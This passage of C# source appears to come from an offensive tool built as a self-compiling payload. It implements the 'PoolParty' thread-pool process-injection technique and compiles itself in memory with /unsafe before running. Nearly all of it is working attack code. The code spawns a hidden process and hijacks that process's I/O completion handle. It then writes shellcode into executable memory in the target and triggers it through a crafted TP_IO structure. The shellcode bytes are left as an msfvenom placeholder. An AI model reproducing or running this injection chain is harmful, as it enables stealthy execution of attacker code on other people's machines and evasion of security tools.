NumberOfHandles.ToInt64() * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO); if (handlesSize >= Int32.MaxValue | handlesSize <= 0) { Console.WriteLine(""[-] ERROR: Array size is too big, most likely due to NumberOfHandles being incorrect or improper access of target process. Aborting handle hijacking..""); return new PROCESS_HANDLE_SNAPSHOT_INFORMATION(); } PROCESS_HANDLE_TABLE_ENTRY_INFO[] handles = new PROCESS_HANDLE_TABLE_ENTRY_INFO[handlesSize]; for (int i = 0; i < handlesSize; i++) { IntPtr handlePtr = new IntPtr(&snapshotInfoPtr->Handles[i]); try { handles[i] = Marshal.PtrToStructure(handlePtr); } catch (Exception e) { handles[i] = new PROCESS_HANDLE_TABLE_ENTRY_INFO(); } } return new PROCESS_HANDLE_SNAPSHOT_INFORMATION { NumberOfHandles = snapshotInfoPtr->NumberOfHandles, Reserved = snapshotInfoPtr->Reserved, Handles = handles }; } public static unsafe IntPtr HijackIOCompletionHandle(IntPtr tProcHandle) { IntPtr info = IntPtr.Zero; ulong infoLen = 0; uint ntStatus = 0xC0000004; do { info = realloc(info, infoLen); ntStatus = NtQueryInformationProcess(tProcHandle, PROCESSINFOCLASS.ProcessHandleInformation, info, infoLen, ref infoLen); } while (0xC0000004 == ntStatus); PROCESS_HANDLE_SNAPSHOT_INFORMATION procHandleInfo = GetProcessHandleSnapshotInformation(info); for (int i = 0; i < procHandleInfo.Handles.Length; i++) { IntPtr duplicatedObject = IntPtr.Zero; PROCESS_HANDLE_TABLE_ENTRY_INFO procHandleTable = procHandleInfo.Handles[i]; IntPtr procHandleValue = procHandleTable.HandleValue; bool duped = DuplicateHandle(tProcHandle, procHandleValue, GetCurrentProcess(), ref duplicatedObject, (uint)WORKER_ACCESS_RIGHTS.WORKER_FACTORY_ALL_ACCESS, false, (DUPLICATE_HANDLE_OPTIONS)IntPtr.Zero); if (!duped) { int error = Marshal.GetLastWin32Error(); continue; } IntPtr pObjectInfo = IntPtr.Zero; pObjectInfo = NtQueryObjectImpl(duplicatedObject, _OBJECT_INFORMATION_CLASS.ObjectTypeInformation); _PUBLIC_OBJECT_TYPE_INFORMATION* pObjTypeInfo = (_PUBLIC_OBJECT_TYPE_INFORMATION*)pObjectInfo; if (!""IoCompletion"".Equals(pObjTypeInfo->TypeName.ToString())) { continue; } else { Console.WriteLine(""[+] Found the 'IoCompletion' type for the target process!""); } return duplicatedObject; } return IntPtr.Zero; } public static int CreateTargetProcess(string name) { Console.WriteLine(""[*] DEBUG - Creating target process ("" + name + "")""); STARTUPINFO si = new STARTUPINFO(); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); bool res = CreateProcess(null, name, IntPtr.Zero, IntPtr.Zero, false, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW | DETACHED_PROCESS, IntPtr.Zero, null, ref si, out pi); if (res) { Console.WriteLine(""[*] DEBUG - Process created with PID = {0:d}"", pi.dwProcessId); return pi.dwProcessId; } else { Console.WriteLine(""[*] DEBUG - Failed to create process with error code 0x{0:X16}"", Marshal.GetLastWin32Error()); return -1; } } public static string[] ValidateCandidates() { ArrayList candidates = new ArrayList(); foreach (string candidate in CandidatesToCheck) { if (File.Exists(candidate)) { candidates.Add(candidate); } } return (string[])candidates.ToArray(typeof(string)); } public static string PickCandidate(string[] candidates) { Random rnd = new Random(); int rndIdx = rnd.Next(0, candidates.Length); return candidates[rndIdx]; } public static string GenerateFN(int len) { Random rnd = new Random(); string alpha = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz""; StringBuilder s = new StringBuilder(len); for (int i = 0; i < len; i++) { s.Append(alpha[rnd.Next(alpha.Length)]); } return s.ToString(); } [HandleProcessCorruptedStateExceptions] public static unsafe void Setup(IntPtr tProcHandle) { IntPtr tIoCompletionHandle = HijackIOCompletionHandle(tProcHandle); if (tIoCompletionHandle == IntPtr.Zero) { Console.WriteLine(""[-] Failed to get a handle to target proc's worker factory.""); return; } Console.WriteLine(""[+] Got handle to target proc's I/O completion queue - (0x{0:X16})"", tIoCompletionHandle.ToInt64()); string fn = GenerateFN(7); IntPtr hFile = CreateFileW(fn, GENERIC_WRITE, FILE_SHARE_MODE.FILE_SHARE_READ | FILE_SHARE_MODE.FILE_SHARE_WRITE, IntPtr.Zero, FILE_CREATION_DISPOSITION.CREATE_ALWAYS, FILE_FLAGS_AND_ATTRIBUTES.FILE_ATTRIBUTE_NORMAL | FILE_FLAGS_AND_ATTRIBUTES.FILE_FLAG_OVERLAPPED, IntPtr.Zero); Console.WriteLine(""[+] File created with name = {0:s}"", fn); byte[] sc = new byte[] {/* msfvenom -p windows/x64/exec CMD="calc.exe" -f csharp */}; uint scSize = (uint)sc.Length; IntPtr scAddr = VirtualAllocEx(tProcHandle, IntPtr.Zero, scSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (scAddr == IntPtr.Zero) { Console.WriteLine(""[-] Failed to allocate shellcode memory.""); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err); return; } else { Console.WriteLine(""[+] Allocated shellcode memory - 0x{0:X16}"", scAddr.ToInt64()); } IntPtr bytesWritten = IntPtr.Zero; bool writeRes; fixed (byte* p = sc) { IntPtr ptr = (IntPtr)p; writeRes = WriteProcessMemory(tProcHandle, scAddr, ptr, scSize, out bytesWritten); } if (!writeRes) { Console.WriteLine(""[-] Failed to write shellcode to allocated memory.""); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err); return; } else { Console.WriteLine(""[+] Shellcode written to allocated memory. bytesWritten = "" + bytesWritten); } IntPtr pTpIoPtr = CreateThreadpoolIo(hFile, (TP_WIN32_IO_CALLBACK*)scAddr, IntPtr.Zero, IntPtr.Zero); FULL_TP_IO* pTpIo = (FULL_TP_IO*)pTpIoPtr; if (pTpIo == null || pTpIoPtr == IntPtr.Zero) { Console.WriteLine(""[-] Failed to create ThreadPoolIo.""); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err); return; } else { Console.WriteLine(""[+] Created thread pool I/O - 0x{0:X16}"", new IntPtr(pTpIo).ToInt64()); } pTpIo->CleanupGroupMember.callbackUnion.Callback = scAddr; pTpIo->PendingIrpCount++; IntPtr pRemoteTpIoPtr = VirtualAllocEx(tProcHandle, IntPtr.Zero, (uint)sizeof(FULL_TP_IO), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pRemoteTpIoPtr == IntPtr.Zero) { Console.WriteLine(""[-] Failed to allocate remote TP_IO.""); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err); return; } else { Console.WriteLine(""[+] Allocated memory for remote TP_IO - 0x{0:X16}"", pRemoteTpIoPtr.ToInt64()); } bytesWritten = IntPtr.Zero; bool writeTpIoRes = WriteProcessMemory(tProcHandle, pRemoteTpIoPtr, pTpIoPtr, (uint)sizeof(FULL_TP_IO), out bytesWritten); if (!writeTpIoRes) { Console.WriteLine(""[-] Failed to write crafted TP_IO to allocated memory.""); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err); return; } else { Console.WriteLine(""[+] Wrote the crafted TP_IO struct to the allocated memory, bytesWritten = "" + bytesWritten); } IO_STATUS_BLOCK IoStatusBlock = new IO_STATUS_BLOCK(); FILE_COMPLETION_INFORMATION FileIoCompletionInformation = new FILE_COMPLETION_INFORMATION() { }; Console.WriteLine(""[*] DEBUG - Crafting FileIoCompletionInformation.""); FileIoCompletionInformation.Port = tIoCompletionHandle; IntPtr pRemoteTpIoDirect = new IntPtr(pRemoteTpIoPtr.ToInt64() + 0xC8); FileIoCompletionInformation.Key = pRemoteTpIoDirect; uint status = NtSetInformationFile(hFile, &IoStatusBlock, &FileIoCompletionInformation, (ulong)sizeof(FILE_COMPLETION_INFORMATION), FILE_INFORMATION_CLASS.FileReplaceCompletionInformation); if (status == 0) { Console.WriteLine(""[+] Associated the created file with I/O Completion Queue of target proc worker factory.""); } else { Console.WriteLine(""[-] Failed to associate the created file with I/O Completion Queue of target proc worker factory.""); Console.WriteLine(""[-] NTSTATUS = 0x{0:X16}"", status); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err); return; } byte[] op = new byte[] { 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef }; int opSize = op.Length; IntPtr opBytesWritten = IntPtr.Zero; NativeOverlapped overlapped = new NativeOverlapped(); bool writeDet = WriteFile(hFile, op, (uint)opSize, out opBytesWritten, ref overlapped); if (!writeDet) { int win32Err = Marshal.GetLastWin32Error(); if (win32Err == 0x000003E5) { Console.WriteLine(""[+] Async write to file is pending; payload should still detonate.""); } else { Console.WriteLine(""[-] Failed to write detonation bytes to file.""); Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err); return; } } else { Console.WriteLine(""[+] Successfully wrote detonation bytes to file. opBytesWritten = "" + opBytesWritten); } } public static void Main() { string[] cands = ValidateCandidates(); int pid = CreateTargetProcess(PickCandidate(cands)); Sleep(1000); uint targetAccess = (uint)(PROCESS_ACCESS_RIGHTS.PROCESS_VM_READ | PROCESS_ACCESS_RIGHTS.PROCESS_VM_WRITE | PROCESS_ACCESS_RIGHTS.PROCESS_VM_OPERATION | PROCESS_ACCESS_RIGHTS.PROCESS_DUP_HANDLE | PROCESS_ACCESS_RIGHTS.PROCESS_QUERY_INFORMATION); IntPtr tProcHandle = OpenProcess(targetAccess, false, pid); if (tProcHandle == IntPtr.Zero) { int err = Marshal.GetLastWin32Error(); switch (err) { case 5: Console.WriteLine(""[-] ERROR: Access denied for target process. PoolParty failed.""); break; default: Console.WriteLine(""[-] ERROR: Win32 API returned an error code (0x{0:X16}) - refer to https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55"", err); break; } return; } Console.WriteLine(""[+] Got handle to target proc - (0x{0:X16})"", tProcHandle.ToInt64()); Setup(tProcHandle); } } }"; Assembly a = Builder.Build(source); Type hw = a.GetType("Pool.Party"); MethodInfo main = hw.GetMethod("Main"); main.Invoke(null, null); return true; } } public class Builder { public static Assembly Build(string SourceString) { CSharpCodeProvider codeProvider = new CSharpCodeProvider(); System.CodeDom.Compiler.CompilerParameters parameters = new System.CodeDom.Compiler.CompilerParameters(); parameters.GenerateInMemory = true; parameters.CompilerOptions = @"/unsafe"; System.CodeDom.Compiler.CompilerResults results = codeProvider.CompileAssemblyFromSource(parameters,SourceString); Assembly a = results.CompiledAssembly; if(a != null) return a; else { Assembly nullAssembly = Assembly.GetExecutingAssembly(); Console.WriteLine("Null Assembly"); return nullAssembly; } } } ]]>